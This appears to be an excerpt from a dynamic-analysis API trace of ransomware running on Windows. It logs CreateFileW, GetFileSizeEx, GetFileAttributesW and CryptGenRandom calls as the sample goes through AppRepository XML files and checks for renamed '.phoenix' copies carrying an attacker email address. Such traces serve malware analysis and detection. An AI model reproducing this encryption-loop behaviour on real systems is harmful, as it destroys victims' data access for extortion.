	[0251.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.042] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.042] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.042] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.042] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=18007) returned 1
	[0251.042] CloseHandle (hObject=0x2d4) returned 1
	[0251.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.043] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowssoundrecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.043] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.043] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.043] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=941) returned 1
	[0251.043] CloseHandle (hObject=0x2d4) returned 1
	[0251.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.043] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.044] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.044] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=37684) returned 1
	[0251.044] CloseHandle (hObject=0x2d4) returned 1
	[0251.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.87.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.044] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.044] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28363) returned 1
	[0251.044] CloseHandle (hObject=0x2d4) returned 1
	[0251.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_11701.1001.874.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.045] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.045] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=818) returned 1
	[0251.045] CloseHandle (hObject=0x2d4) returned 1
	[0251.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.045] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.10.13.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.046] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.046] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28503) returned 1
	[0251.046] CloseHandle (hObject=0x2d4) returned 1
	[0251.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.windowsstore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.046] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.046] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.047] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=12830) returned 1
	[0251.047] CloseHandle (hObject=0x2d4) returned 1
	[0251.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2015.930.526.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.047] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.047] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17572) returned 1
	[0251.047] CloseHandle (hObject=0x2d4) returned 1
	[0251.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_2017.113.1250.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.048] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.048] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=813) returned 1
	[0251.048] CloseHandle (hObject=0x2d4) returned 1
	[0251.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.048] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.048] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.049] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=813) returned 1
	[0251.049] CloseHandle (hObject=0x2d4) returned 1
	[0251.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml")) returned 0x20
	[0251.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_neutral_split.scale-200_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.049] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.049] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=19049) returned 1
	[0251.049] CloseHandle (hObject=0x2d4) returned 1
	[0251.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0251.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxapp_25.25.13009.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0251.050] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2270) returned 1
	[0251.050] CloseHandle (hObject=0x2d4) returned 1
	[0251.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0251.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0251.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameCallableUI_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgamecallableui_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0251.050] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0251.050] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.XboxGameOverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.xboxgameoverlay_1.15.2003.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
